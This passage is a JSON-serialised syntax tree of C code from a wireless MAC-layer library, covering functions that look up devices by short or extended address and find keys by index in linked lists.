50}}, {"id": 102, "type": "identifier", "text": "mac_device_get_by_extended", "parent": 101, "children": [], "start_point": {"row": 63, "column": 0}, "end_point": {"row": 63, "column": 26}}, {"id": 103, "type": "parameter_list", "text": "(uint8_t *extended_addr)", "parent": 101, "children": [104], "start_point": {"row": 63, "column": 26}, "end_point": {"row": 63, "column": 50}}, {"id": 104, "type": "parameter_declaration", "text": "uint8_t *extended_addr", "parent": 103, "children": [105, 106], "start_point": {"row": 63, "column": 27}, "end_point": {"row": 63, "column": 49}}, {"id": 105, "type": "primitive_type", "text": "uint8_t", "parent": 104, "children": [], "start_point": {"row": 63, "column": 27}, "end_point": {"row": 63, "column": 34}}, {"id": 106, "type": "pointer_declarator", "text": "*extended_addr", "parent": 104, "children": [107, 108], "start_point": {"row": 63, "column": 35}, "end_point": {"row": 63, "column": 49}}, {"id": 107, "type": "*", "text": "*", "parent": 106, "children": [], "start_point": {"row": 63, "column": 35}, "end_point": {"row": 63, "column": 36}}, {"id": 108, "type": "identifier", "text": "extended_addr", "parent": 106, "children": [], "start_point": {"row": 63, "column": 36}, "end_point": {"row": 63, "column": 49}}, {"id": 109, "type": "declaration", "text": "ws_list_t *ptr;", "parent": 97, "children": [110, 111], "start_point": {"row": 65, "column": 4}, "end_point": {"row": 65, "column": 19}}, {"id": 110, "type": "type_identifier", "text": "ws_list_t", "parent": 109, "children": [], "start_point": {"row": 65, "column": 4}, "end_point": {"row": 65, "column": 13}}, {"id": 111, "type": "pointer_declarator", "text": "*ptr", "parent": 109, "children": [112, 113], "start_point": {"row": 65, "column": 14}, "end_point": {"row": 65, "column": 18}}, {"id": 112, "type": "*", "text": "*", "parent": 111, "children": [], "start_point": {"row": 65, "column": 14}, "end_point": {"row": 65, "column": 15}}, {"id": 113, "type": "identifier", "text": "ptr", "parent": 111, "children": [], "start_point": {"row": 65, "column": 15}, "end_point": {"row": 65, "column": 18}}, {"id": 114, "type": "declaration", "text": "mac_device_t *dev;", "parent": 97, "children": [115, 116], "start_point": {"row": 66, "column": 4}, "end_point": {"row": 66, "column": 22}}, {"id": 115, "type": "type_identifier", "text": "mac_device_t", "parent": 114, "children": [], "start_point": {"row": 66, "column": 4}, "end_point": {"row": 66, "column": 16}}, {"id": 116, "type": "pointer_declarator", "text": "*dev", "parent": 114, "children": [117, 118], "start_point": {"row": 66, "column": 17}, "end_point": {"row": 66, "column": 21}}, {"id": 117, "type": "*", "text": "*", "parent": 116, "children": [], "start_point": {"row": 66, "column": 17}, "end_point": {"row": 66, "column": 18}}, {"id": 118, "type": "identifier", "text": "dev", "parent": 116, "children": [], "start_point": {"row": 66, "column": 18}, "end_point": {"row": 66, "column": 21}}, {"id": 119, "type": "call_expression", "text": "WS_DEBUG(\"Searching for %r\\n\", extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN)", "parent": 97, "children": [120, 121], "start_point": {"row": 68, "column": 4}, "end_point": {"row": 69, "column": 43}}, {"id": 120, "type": "identifier", "text": "WS_DEBUG", "parent": 119, "children": [], "start_point": {"row": 68, "column": 4}, "end_point": {"row": 68, "column": 12}}, {"id": 121, "type": "argument_list", "text": "(\"Searching for %r\\n\", extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN)", "parent": 119, "children": [122, 124, 125], "start_point": {"row": 68, "column": 12}, "end_point": {"row": 69, "column": 43}}, {"id": 122, "type": "string_literal", "text": "\"Searching for %r\\n\"", "parent": 121, "children": [123], "start_point": {"row": 68, "column": 13}, "end_point": {"row": 68, "column": 33}}, {"id": 123, "type": "escape_sequence", "text": "\\n", "parent": 122, "children": [], "start_point": {"row": 68, "column": 30}, "end_point": {"row": 68, "column": 32}}, {"id": 124, "type": "identifier", "text": "extended_addr", "parent": 121, "children": [], "start_point": {"row": 68, "column": 35}, "end_point": {"row": 68, "column": 48}}, {"id": 125, "type": "identifier", "text": "WS_MAC_ADDR_TYPE_EXTENDED_LEN", "parent": 121, "children": [], "start_point": {"row": 69, "column": 13}, "end_point": {"row": 69, "column": 42}}, {"id": 126, "type": "for_statement", "text": "for (ptr = mac.device_list.next;\n ptr != &mac.device_list;\n ptr = ptr->next)\n {\n dev = ws_list_get_data(ptr, mac_device_t, list);\n WS_DEBUG(\"comparing to: %r\\n\", dev->addr.extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN);\n if (memcmp(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN) == 0)\n return dev;\n }", "parent": 97, "children": [127, 135, 142], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 81, "column": 5}}, {"id": 127, "type": "assignment_expression", "text": "ptr = mac.device_list.next", "parent": 126, "children": [128, 129, 130], "start_point": {"row": 71, "column": 9}, "end_point": {"row": 71, "column": 35}}, {"id": 128, "type": "identifier", "text": "ptr", "parent": 127, "children": [], "start_point": {"row": 71, "column": 9}, "end_point": {"row": 71, "column": 12}}, {"id": 129, "type": "=", "text": "=", "parent": 127, "children": [], "start_point": {"row": 71, "column": 13}, "end_point": {"row": 71, "column": 14}}, {"id": 130, "type": "field_expression", "text": "mac.device_list.next", "parent": 127, "children": [131, 134], "start_point": {"row": 71, "column": 15}, "end_point": {"row": 71, "column": 35}}, {"id": 131, "type": "field_expression", "text": "mac.device_list", "parent": 130, "children": [132, 133], "start_point": {"row": 71, "column": 15}, "end_point": {"row": 71, "column": 30}}, {"id": 132, "type": "identifier", "text": "mac", "parent": 131, "children": [], "start_point": {"row": 71, "column": 15}, "end_point": {"row": 71, "column": 18}}, {"id": 133, "type": "field_identifier", "text": "device_list", "parent": 131, "children": [], "start_point": {"row": 71, "column": 19}, "end_point": {"row": 71, "column": 30}}, {"id": 134, "type": "field_identifier", "text": "next", "parent": 130, "children": [], "start_point": {"row": 71, "column": 31}, "end_point": {"row": 71, "column": 35}}, {"id": 135, "type": "binary_expression", "text": "ptr != &mac.device_list", "parent": 126, "children": [136, 137, 138], "start_point": {"row": 72, "column": 9}, "end_point": {"row": 72, "column": 32}}, {"id": 136, "type": "identifier", "text": "ptr", "parent": 135, "children": [], "start_point": {"row": 72, "column": 9}, "end_point": {"row": 72, "column": 12}}, {"id": 137, "type": "!=", "text": "!=", "parent": 135, "children": [], "start_point": {"row": 72, "column": 13}, "end_point": {"row": 72, "column": 15}}, {"id": 138, "type": "pointer_expression", "text": "&mac.device_list", "parent": 135, "children": [139], "start_point": {"row": 72, "column": 16}, "end_point": {"row": 72, "column": 32}}, {"id": 139, "type": "field_expression", "text": "mac.device_list", "parent": 138, "children": [140, 141], "start_point": {"row": 72, "column": 17}, "end_point": {"row": 72, "column": 32}}, {"id": 140, "type": "identifier", "text": "mac", "parent": 139, "children": [], "start_point": {"row": 72, "column": 17}, "end_point": {"row": 72, "column": 20}}, {"id": 141, "type": "field_identifier", "text": "device_list", "parent": 139, "children": [], "start_point": {"row": 72, "column": 21}, "end_point": {"row": 72, "column": 32}}, {"id": 142, "type": "assignment_expression", "text": "ptr = ptr->next", "parent": 126, "children": [143, 144, 145], "start_point": {"row": 73, "column": 9}, "end_point": {"row": 73, "column": 24}}, {"id": 143, "type": "identifier", "text": "ptr", "parent": 142, "children": [], "start_point": {"row": 73, "column": 9}, "end_point": {"row": 73, "column": 12}}, {"id": 144, "type": "=", "text": "=", "parent": 142, "children": [], "start_point": {"row": 73, "column": 13}, "end_point": {"row": 73, "column": 14}}, {"id": 145, "type": "field_expression", "text": "ptr->next", "parent": 142, "children": [146, 147], "start_point": {"row": 73, "column": 15}, "end_point": {"row": 73, "column": 24}}, {"id": 146, "type": "identifier", "text": "ptr", "parent": 145, "children": [], "start_point": {"row": 73, "column": 15}, "end_point": {"row": 73, "column": 18}}, {"id": 147, "type": "field_identifier", "text": "next", "parent": 145, "children": [], "start_point": {"row": 73, "column": 20}, "end_point": {"row": 73, "column": 24}}, {"id": 148, "type": "assignment_expression", "text": "dev = ws_list_get_data(ptr, mac_device_t, list)", "parent": 126, "children": [149, 150, 151], "start_point": {"row": 75, "column": 8}, "end_point": {"row": 75, "column": 55}}, {"id": 149, "type": "identifier", "text": "dev", "parent": 148, "children": [], "start_point": {"row": 75, "column": 8}, "end_point": {"row": 75, "column": 11}}, {"id": 150, "type": "=", "text": "=", "parent": 148, "children": [], "start_point": {"row": 75, "column": 12}, "end_point": {"row": 75, "column": 13}}, {"id": 151, "type": "call_expression", "text": "ws_list_get_data(ptr, mac_device_t, list)", "parent": 148, "children": [152, 153], "start_point": {"row": 75, "column": 14}, "end_point": {"row": 75, "column": 55}}, {"id": 152, "type": "identifier", "text": "ws_list_get_data", "parent": 151, "children": [], "start_point": {"row": 75, "column": 14}, "end_point": {"row": 75, "column": 30}}, {"id": 153, "type": "argument_list", "text": "(ptr, mac_device_t, list)", "parent": 151, "children": [154, 155, 156], "start_point": {"row": 75, "column": 30}, "end_point": {"row": 75, "column": 55}}, {"id": 154, "type": "identifier", "text": "ptr", "parent": 153, "children": [], "start_point": {"row": 75, "column": 31}, "end_point": {"row": 75, "column": 34}}, {"id": 155, "type": "identifier", "text": "mac_device_t", "parent": 153, "children": [], "start_point": {"row": 75, "column": 36}, "end_point": {"row": 75, "column": 48}}, {"id": 156, "type": "identifier", "text": "list", "parent": 153, "children": [], "start_point": {"row": 75, "column": 50}, "end_point": {"row": 75, "column": 54}}, {"id": 157, "type": "call_expression", "text": "WS_DEBUG(\"comparing to: %r\\n\", dev->addr.extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN)", "parent": 126, "children": [158, 159], "start_point": {"row": 76, "column": 8}, "end_point": {"row": 77, "column": 47}}, {"id": 158, "type": "identifier", "text": "WS_DEBUG", "parent": 157, "children": [], "start_point": {"row": 76, "column": 8}, "end_point": {"row": 76, "column": 16}}, {"id": 159, "type": "argument_list", "text": "(\"comparing to: %r\\n\", dev->addr.extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN)", "parent": 157, "children": [160, 162, 167], "start_point": {"row": 76, "column": 16}, "end_point": {"row": 77, "column": 47}}, {"id": 160, "type": "string_literal", "text": "\"comparing to: %r\\n\"", "parent": 159, "children": [161], "start_point": {"row": 76, "column": 17}, "end_point": {"row": 76, "column": 37}}, {"id": 161, "type": "escape_sequence", "text": "\\n", "parent": 160, "children": [], "start_point": {"row": 76, "column": 34}, "end_point": {"row": 76, "column": 36}}, {"id": 162, "type": "field_expression", "text": "dev->addr.extended_addr", "parent": 159, "children": [163, 166], "start_point": {"row": 76, "column": 39}, "end_point": {"row": 76, "column": 62}}, {"id": 163, "type": "field_expression", "text": "dev->addr", "parent": 162, "children": [164, 165], "start_point": {"row": 76, "column": 39}, "end_point": {"row": 76, "column": 48}}, {"id": 164, "type": "identifier", "text": "dev", "parent": 163, "children": [], "start_point": {"row": 76, "column": 39}, "end_point": {"row": 76, "column": 42}}, {"id": 165, "type": "field_identifier", "text": "addr", "parent": 163, "children": [], "start_point": {"row": 76, "column": 44}, "end_point": {"row": 76, "column": 48}}, {"id": 166, "type": "field_identifier", "text": "extended_addr", "parent": 162, "children": [], "start_point": {"row": 76, "column": 49}, "end_point": {"row": 76, "column": 62}}, {"id": 167, "type": "identifier", "text": "WS_MAC_ADDR_TYPE_EXTENDED_LEN", "parent": 159, "children": [], "start_point": {"row": 77, "column": 17}, "end_point": {"row": 77, "column": 46}}, {"id": 168, "type": "if_statement", "text": "if (memcmp(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN) == 0)\n return dev;", "parent": 126, "children": [169, 183], "start_point": {"row": 78, "column": 8}, "end_point": {"row": 80, "column": 23}}, {"id": 169, "type": "parenthesized_expression", "text": "(memcmp(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN) == 0)", "parent": 168, "children": [170], "start_point": {"row": 78, "column": 11}, "end_point": {"row": 79, "column": 55}}, {"id": 170, "type": "binary_expression", "text": "memcmp(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN) == 0", "parent": 169, "children": [171, 181, 182], "start_point": {"row": 78, "column": 12}, "end_point": {"row": 79, "column": 54}}, {"id": 171, "type": "call_expression", "text": "memcmp(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN)", "parent": 170, "children": [172, 173], "start_point": {"row": 78, "column": 12}, "end_point": {"row": 79, "column": 49}}, {"id": 172, "type": "identifier", "text": "memcmp", "parent": 171, "children": [], "start_point": {"row": 78, "column": 12}, "end_point": {"row": 78, "column": 18}}, {"id": 173, "type": "argument_list", "text": "(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN)", "parent": 171, "children": [174, 179, 180], "start_point": {"row": 78, "column": 18}, "end_point": {"row": 79, "column": 49}}, {"id": 174, "type": "field_expression", "text": "dev->addr.extended_addr", "parent": 173, "children": [175, 178], "start_point": {"row": 78, "column": 19}, "end_point": {"row": 78, "column": 42}}, {"id": 175, "type": "field_expression", "text": "dev->addr", "parent": 174, "children": [176, 177], "start_point": {"row": 78, "column": 19}, "end_point": {"row": 78, "column": 28}}, {"id": 176, "type": "identifier", "text": "dev", "parent": 175, "children": [], "start_point": {"row": 78, "column": 19}, "end_point": {"row": 78, "column": 22}}, {"id": 177, "type": "field_identifier", "text": "addr", "parent": 175, "children": [], "start_point": {"row": 78, "column": 24}, "end_point": {"row": 78, "column": 28}}, {"id": 178, "type": "field_identifier", "text": "extended_addr", "parent": 174, "children": [], "start_point": {"row": 78, "column": 29}, "end_point": {"row": 78, "column": 42}}, {"id": 179, "type": "identifier", "text": "extended_addr", "parent": 173, "children": [], "start_point": {"row": 78, "column": 44}, "end_point": {"row": 78, "column": 57}}, {"id": 180, "type": "identifier", "text": "WS_MAC_ADDR_TYPE_EXTENDED_LEN", "parent": 173, "children": [], "start_point": {"row": 79, "column": 19}, "end_point": {"row": 79, "column": 48}}, {"id": 181, "type": "==", "text": "==", "parent": 170, "children": [], "start_point": {"row": 79, "column": 50}, "end_point": {"row": 79, "column": 52}}, {"id": 182, "type": "number_literal", "text": "0", "parent": 170, "children": [], "start_point": {"row": 79, "column": 53}, "end_point": {"row": 79, "column": 54}}, {"id": 183, "type": "return_statement", "text": "return dev;", "parent": 168, "children": [184], "start_point": {"row": 80, "column": 12}, "end_point": {"row": 80, "column": 23}}, {"id": 184, "type": "identifier", "text": "dev", "parent": 183, "children": [], "start_point": {"row": 80, "column": 19}, "end_point": {"row": 80, "column": 22}}, {"id": 185, "type": "return_statement", "text": "return NULL;", "parent": 97, "children": [186], "start_point": {"row": 83, "column": 4}, "end_point": {"row": 83, "column": 16}}, {"id": 186, "type": "null", "text": "NULL", "parent": 185, "children": [187], "start_point": {"row": 83, "column": 11}, "end_point": {"row": 83, "column": 15}}, {"id": 187, "type": "NULL", "text": "NULL", "parent": 186, "children": [], "start_point": {"row": 83, "column": 11}, "end_point": {"row": 83, "column": 15}}, {"id": 188, "type": "function_definition", "text": "mac_device_t *\nmac_device_get_by_addr(ws_mac_addr_t *addr)\n{\n WS_DEBUG(\"searching by address type: %u\\n\", addr->type);\n switch (addr->type)\n {\n case WS_MAC_ADDR_TYPE_SHORT:\n return mac_device_get_by_short(addr->short_addr);\n\n case WS_MAC_ADDR_TYPE_EXTENDED:\n return mac_device_get_by_extended(addr->extended_addr);\n\n default:\n WS_WARN(\"unknown address type\\n\");\n return NULL;\n }\n}", "parent": null, "children": [189, 190], "start_point": {"row": 87, "column": 0}, "end_point": {"row": 103, "column": 1}}, {"id": 189, "type": "type_identifier", "text": "mac_device_t", "parent": 188, "children": [], "start_point": {"row": 87, "column": 0}, "end_point": {"row": 87, "column": 12}}, {"id": 190, "type": "pointer_declarator", "text": "*\nmac_device_get_by_addr(ws_mac_addr_t *addr)", "parent": 188, "children": [191, 192], "start_point": {"row": 87, "column": 13}, "end_point": {"row": 88, "column": 43}}, {"id": 191, "type": "*", "text": "*", "parent": 190, "children": [], "start_point": {"row": 87, "column": 13}, "end_point": {"row": 87, "column": 14}}, {"id": 192, "type": "function_declarator", "text": "mac_device_get_by_addr(ws_mac_addr_t *addr)", "parent": 190, "children": [193, 194], "start_point": {"row": 88, "column": 0}, "end_point": {"row": 88, "column": 43}}, {"id": 193, "type": "identifier", "text": "mac_device_get_by_addr", "parent": 192, "children": [], "start_point": {"row": 88, "column": 0}, "end_point": {"row": 88, "column": 22}}, {"id": 194, "type": "parameter_list", "text": "(ws_mac_addr_t *addr)", "parent": 192, "children": [195], "start_point": {"row": 88, "column": 22}, "end_point": {"row": 88, "column": 43}}, {"id": 195, "type": "parameter_declaration", "text": "ws_mac_addr_t *addr", "parent": 194, "children": [196, 197], "start_point": {"row": 88, "column": 23}, "end_point": {"row": 88, "column": 42}}, {"id": 196, "type": "type_identifier", "text": "ws_mac_addr_t", "parent": 195, "children": [], "start_point": {"row": 88, "column": 23}, "end_point": {"row": 88, "column": 36}}, {"id": 197, "type": "pointer_declarator", "text": "*addr", "parent": 195, "children": [198, 199], "start_point": {"row": 88, "column": 37}, "end_point": {"row": 88, "column": 42}}, {"id": 198, "type": "*", "text": "*", "parent": 197, "children": [], "start_point": {"row": 88, "column": 37}, "end_point": {"row": 88, "column": 38}}, {"id": 199, "type": "identifier", "text": "addr", "parent": 197, "children": [], "start_point": {"row": 88, "column": 38}, "end_point": {"row": 88, "column": 42}}, {"id": 200, "type": "call_expression", "text": "WS_DEBUG(\"searching by address type: %u\\n\", addr->type)", "parent": 188, "children": [201, 202], "start_point": {"row": 90, "column": 4}, "end_point": {"row": 90, "column": 59}}, {"id": 201, "type": "identifier", "text": "WS_DEBUG", "parent": 200, "children": [], "start_point": {"row": 90, "column": 4}, "end_point": {"row": 90, "column": 12}}, {"id": 202, "type": "argument_list", "text": "(\"searching by address type: %u\\n\", addr->type)", "parent": 200, "children": [203, 205], "start_point": {"row": 90, "column": 12}, "end_point": {"row": 90, "column": 59}}, {"id": 203, "type": "string_literal", "text": "\"searching by address type: %u\\n\"", "parent": 202, "children": [204], "start_point": {"row": 90, "column": 13}, "end_point": {"row": 90, "column": 46}}, {"id": 204, "type": "escape_sequence", "text": "\\n", "parent": 203, "children": [], "start_point": {"row": 90, "column": 43}, "end_point": {"row": 90, "column": 45}}, {"id": 205, "type": "field_expression", "text": "addr->type", "parent": 202, "children": [206, 207], "start_point": {"row": 90, "column": 48}, "end_point": {"row": 90, "column": 58}}, {"id": 206, "type": "identifier", "text": "addr", "parent": 205, "children": [], "start_point": {"row": 90, "column": 48}, "end_point": {"row": 90, "column": 52}}, {"id": 207, "type": "field_identifier", "text": "type", "parent": 205, "children": [], "start_point": {"row": 90, "column": 54}, "end_point": {"row": 90, "column": 58}}, {"id": 208, "type": "switch_statement", "text": "switch (addr->type)\n {\n case WS_MAC_ADDR_TYPE_SHORT:\n return mac_device_get_by_short(addr->short_addr);\n\n case WS_MAC_ADDR_TYPE_EXTENDED:\n return mac_device_get_by_extended(addr->extended_addr);\n\n default:\n WS_WARN(\"unknown address type\\n\");\n return NULL;\n }", "parent": 188, "children": [209, 210], "start_point": {"row": 91, "column": 4}, "end_point": {"row": 102, "column": 5}}, {"id": 209, "type": "switch", "text": "switch", "parent": 208, "children": [], "start_point": {"row": 91, "column": 4}, "end_point": {"row": 91, "column": 10}}, {"id": 210, "type": "parenthesized_expression", "text": "(addr->type)", "parent": 208, "children": [211], "start_point": {"row": 91, "column": 11}, "end_point": {"row": 91, "column": 23}}, {"id": 211, "type": "field_expression", "text": "addr->type", "parent": 210, "children": [212, 213], "start_point": {"row": 91, "column": 12}, "end_point": {"row": 91, "column": 22}}, {"id": 212, "type": "identifier", "text": "addr", "parent": 211, "children": [], "start_point": {"row": 91, "column": 12}, "end_point": {"row": 91, "column": 16}}, {"id": 213, "type": "field_identifier", "text": "type", "parent": 211, "children": [], "start_point": {"row": 91, "column": 18}, "end_point": {"row": 91, "column": 22}}, {"id": 214, "type": "case_statement", "text": "case WS_MAC_ADDR_TYPE_SHORT:\n return mac_device_get_by_short(addr->short_addr);", "parent": 208, "children": [215, 216, 217], "start_point": {"row": 93, "column": 4}, "end_point": {"row": 94, "column": 57}}, {"id": 215, "type": "case", "text": "case", "parent": 214, "children": [], "start_point": {"row": 93, "column": 4}, "end_point": {"row": 93, "column": 8}}, {"id": 216, "type": "identifier", "text": "WS_MAC_ADDR_TYPE_SHORT", "parent": 214, "children": [], "start_point": {"row": 93, "column": 9}, "end_point": {"row": 93, "column": 31}}, {"id": 217, "type": "return_statement", "text": "return mac_device_get_by_short(addr->short_addr);", "parent": 214, "children": [218], "start_point": {"row": 94, "column": 8}, "end_point": {"row": 94, "column": 57}}, {"id": 218, "type": "call_expression", "text": "mac_device_get_by_short(addr->short_addr)", "parent": 217, "children": [219, 220], "start_point": {"row": 94, "column": 15}, "end_point": {"row": 94, "column": 56}}, {"id": 219, "type": "identifier", "text": "mac_device_get_by_short", "parent": 218, "children": [], "start_point": {"row": 94, "column": 15}, "end_point": {"row": 94, "column": 38}}, {"id": 220, "type": "argument_list", "text": "(addr->short_addr)", "parent": 218, "children": [221], "start_point": {"row": 94, "column": 38}, "end_point": {"row": 94, "column": 56}}, {"id": 221, "type": "field_expression", "text": "addr->short_addr", "parent": 220, "children": [222, 223], "start_point": {"row": 94, "column": 39}, "end_point": {"row": 94, "column": 55}}, {"id": 222, "type": "identifier", "text": "addr", "parent": 221, "children": [], "start_point": {"row": 94, "column": 39}, "end_point": {"row": 94, "column": 43}}, {"id": 223, "type": "field_identifier", "text": "short_addr", "parent": 221, "children": [], "start_point": {"row": 94, "column": 45}, "end_point": {"row": 94, "column": 55}}, {"id": 224, "type": "case_statement", "text": "case WS_MAC_ADDR_TYPE_EXTENDED:\n return mac_device_get_by_extended(addr->extended_addr);", "parent": 208, "children": [225, 226, 227], "start_point": {"row": 96, "column": 4}, "end_point": {"row": 97, "column": 63}}, {"id": 225, "type": "case", "text": "case", "parent": 224, "children": [], "start_point": {"row": 96, "column": 4}, "end_point": {"row": 96, "column": 8}}, {"id": 226, "type": "identifier", "text": "WS_MAC_ADDR_TYPE_EXTENDED", "parent": 224, "children": [], "start_point": {"row": 96, "column": 9}, "end_point": {"row": 96, "column": 34}}, {"id": 227, "type": "return_statement", "text": "return mac_device_get_by_extended(addr->extended_addr);", "parent": 224, "children": [228], "start_point": {"row": 97, "column": 8}, "end_point": {"row": 97, "column": 63}}, {"id": 228, "type": "call_expression", "text": "mac_device_get_by_extended(addr->extended_addr)", "parent": 227, "children": [229, 230], "start_point": {"row": 97, "column": 15}, "end_point": {"row": 97, "column": 62}}, {"id": 229, "type": "identifier", "text": "mac_device_get_by_extended", "parent": 228, "children": [], "start_point": {"row": 97, "column": 15}, "end_point": {"row": 97, "column": 41}}, {"id": 230, "type": "argument_list", "text": "(addr->extended_addr)", "parent": 228, "children": [231], "start_point": {"row": 97, "column": 41}, "end_point": {"row": 97, "column": 62}}, {"id": 231, "type": "field_expression", "text": "addr->extended_addr", "parent": 230, "children": [232, 233], "start_point": {"row": 97, "column": 42}, "end_point": {"row": 97, "column": 61}}, {"id": 232, "type": "identifier", "text": "addr", "parent": 231, "children": [], "start_point": {"row": 97, "column": 42}, "end_point": {"row": 97, "column": 46}}, {"id": 233, "type": "field_identifier", "text": "extended_addr", "parent": 231, "children": [], "start_point": {"row": 97, "column": 48}, "end_point": {"row": 97, "column": 61}}, {"id": 234, "type": "case_statement", "text": "default:\n WS_WARN(\"unknown address type\\n\");\n return NULL;", "parent": 208, "children": [235, 241], "start_point": {"row": 99, "column": 4}, "end_point": {"row": 101, "column": 20}}, {"id": 235, "type": "default", "text": "default", "parent": 234, "children": [], "start_point": {"row": 99, "column": 4}, "end_point": {"row": 99, "column": 11}}, {"id": 236, "type": "call_expression", "text": "WS_WARN(\"unknown address type\\n\")", "parent": 234, "children": [237, 238], "start_point": {"row": 100, "column": 8}, "end_point": {"row": 100, "column": 41}}, {"id": 237, "type": "identifier", "text": "WS_WARN", "parent": 236, "children": [], "start_point": {"row": 100, "column": 8}, "end_point": {"row": 100, "column": 15}}, {"id": 238, "type": "argument_list", "text": "(\"unknown address type\\n\")", "parent": 236, "children": [239], "start_point": {"row": 100, "column": 15}, "end_point": {"row": 100, "column": 41}}, {"id": 239, "type": "string_literal", "text": "\"unknown address type\\n\"", "parent": 238, "children": [240], "start_point": {"row": 100, "column": 16}, "end_point": {"row": 100, "column": 40}}, {"id": 240, "type": "escape_sequence", "text": "\\n", "parent": 239, "children": [], "start_point": {"row": 100, "column": 37}, "end_point": {"row": 100, "column": 39}}, {"id": 241, "type": "return_statement", "text": "return NULL;", "parent": 234, "children": [242], "start_point": {"row": 101, "column": 8}, "end_point": {"row": 101, "column": 20}}, {"id": 242, "type": "null", "text": "NULL", "parent": 241, "children": [243], "start_point": {"row": 101, "column": 15}, "end_point": {"row": 101, "column": 19}}, {"id": 243, "type": "NULL", "text": "NULL", "parent": 242, "children": [], "start_point": {"row": 101, "column": 15}, "end_point": {"row": 101, "column": 19}}, {"id": 244, "type": "function_definition", "text": "mac_key_t *\nmac_device_get_key(mac_device_t *dev, uint8_t index)\n{\n ws_list_t *ptr;\n mac_key_t *key;\n\n for (ptr = dev->key_list.next;\n ptr != &dev->key_list;\n ptr = ptr->next)\n {\n key = ws_list_get_data(ptr, mac_key_t, list);\n if (key->index == index)\n return key;\n }\n\n return NULL;\n}", "parent": null, "children": [245, 246], "start_point": {"row": 106, "column": 0}, "end_point": {"row": 122, "column": 1}}, {"id": 245, "type": "type_identifier", "text": "mac_key_t", "parent": 244, "children": [], "start_point": {"row": 106, "column": 0}, "end_point": {"row": 106, "column": 9}}, {"id": 246, "type": "pointer_declarator", "text": "*\nmac_device_get_key(mac_device_t *dev, uint8_t index)", "parent": 244, "children": [247, 248], "start_point": {"row": 106, "column": 10}, "end_point": {"row": 107, "column": 52}}, {"id": 247, "type": "*", "text": "*", "parent": 246, "children": [], "start_point": {"row": 106, "column": 10}, "end_point": {"row": 106, "column": 11}}, {"id": 248, "type": "function_declarator", "text": "mac_device_get_key(mac_device_t *dev, uint8_t index)", "parent": 246, "children": [249, 250], "start_point": {"row": 107, "column": 0}, "end_point": {"row": 107, "column": 52}}, {"id": 249, "type": "identifier", "text": "mac_device_get_key", "parent": 248, "children": [], "start_point": {"row": 107, "column": 0}, "end_point": {"row": 107, "column": 18}}, {"id": 250, "type": "parameter_list", "text": "(mac_device_t *dev, uint8_t index)", "parent": 248, "children": [251, 256], "start_point": {"row": 107, "column": 18}, "end_point": {"row": 107, "column": 52}}, {"id": 251, "type": "parameter_declaration", "text": "mac_device_t *dev", "parent": 250, "children": [252, 253], "start_point": {"row": 107, "column": 19}, "end_point": {"row": 107, "column": 36}}, {"id": 252, "type": "type_identifier", "text": "mac_device_t", "parent": 251, "children": [], "start_point": {"row": 107, "column": 19}, "end_point": {"row": 107, "column": 31}}, {"id": 253, "type": "pointer_declarator", "text": "*dev", "parent": 251, "children": [254, 255], "start_point": {"row": 107, "column": 32}, "end_point": {"row": 107, "column": 36}}, {"id": 254, "type": "*", "text": "*", "parent": 253, "children": [], "start_point": {"row": 107, "column": 32}, "end_point": {"row": 107, "column": 33}}, {"id": 255, "type": "identifier", "text": "dev", "parent": 253, "children": [], "start_point": {"row": 107, "column": 33}, "end_point": {"row": 107, "column": 36}}, {"id": 256, "type": "parameter_declaration", "text": "uint8_t index", "parent": 250, "children": [257, 258], "start_point": {"row": 107, "column": 38}, "end_point": {"row": 107, "column": 51}}, {"id": 257, "type": "primitive_type", "text": "uint8_t", "parent": 256, "children": [], "start_point": {"row": 107, "column": 38}, "end_point": {"row": 107, "column": 45}}, {"id": 258, "type": "identifier", "text": "index", "parent": 256, "children": [], "start_point": {"row": 107, "column": 46}, "end_point": {"row": 107, "column": 51}}, {"id": 259, "type": "declaration", "text": "ws_list_t *ptr;", "parent": 244, "children": [260, 261], "start_point": {"row": 109, "column": 4}, "end_point": {"row": 109, "column": 19}}, {"id": 260, "type": "type_identifier", "text": "ws_list_t", "parent": 259, "children": [], "start_point": {"row": 109, "column": 4}, "end_point": {"row": 109, "column": 13}}, {"id": 261, "type": "pointer_declarator", "text": "*ptr", "parent": 259, "children": [262, 263], "start_point": {"row": 109, "column": 14}, "end_point": {"row": 109, "column": 18}}, {"id": 262, "type": "*", "text": "*", "parent": 261, "children": [], "start_point": {"row": 109, "column": 14}, "end_point": {"row": 109, "column": 15}}, {"id": 263, "type": "identifier", "text": "ptr", "parent": 261, "children": [], "start_point": {"row": 109, "column": 15}, "end_point": {"row": 109, "column": 18}}, {"id": 264, "type": "declaration", "text": "mac_key_t *key;", "parent": 244, "children": [265, 266], "start_point": {"row": 110, "column": 4}, "end_point": {"row": 110, "column": 19}}, {"id": 265, "type": "type_identifier", "text": "mac_key_t", "parent": 264, "children": [], "start_point": {"row": 110, "column": 4}, "end_point": {"row": 110, "column": 13}}, {"id": 266, "type": "pointer_declarator", "text": "*key", "parent": 264, "children": [267, 268], "start_point": {"row": 110, "column": 14}, "end_point": {"row": 110, "column": 18}}, {"id": 267, "type": "*", "text": "*", "parent": 266, "children": [], "start_point": {"row": 110, "column": 14}, "end_point": {"row": 110, "column": 15}}, {"id": 268, "type": "identifier", "text": "key", "parent": 266, "children": [], "start_point": {"row": 110, "column": 15}, "end_point": {"row": 110, "column": 18}}, {"id": 269, "type": "for_statement", "text": "for (ptr = dev->key_list.next;\n ptr != &dev->key_list;\n ptr = ptr->next)\n {\n key = ws_list_get_data(ptr, mac_key_t, list);\n if (key->index == index)\n return key;\n }", "parent": 244, "children": [270, 278, 285], "start_point": {"row": 112, "column": 4}, "end_point": {"row": 119, "column": 5}}, {"id": 270, "type": "assignment_expression", "text": "ptr = 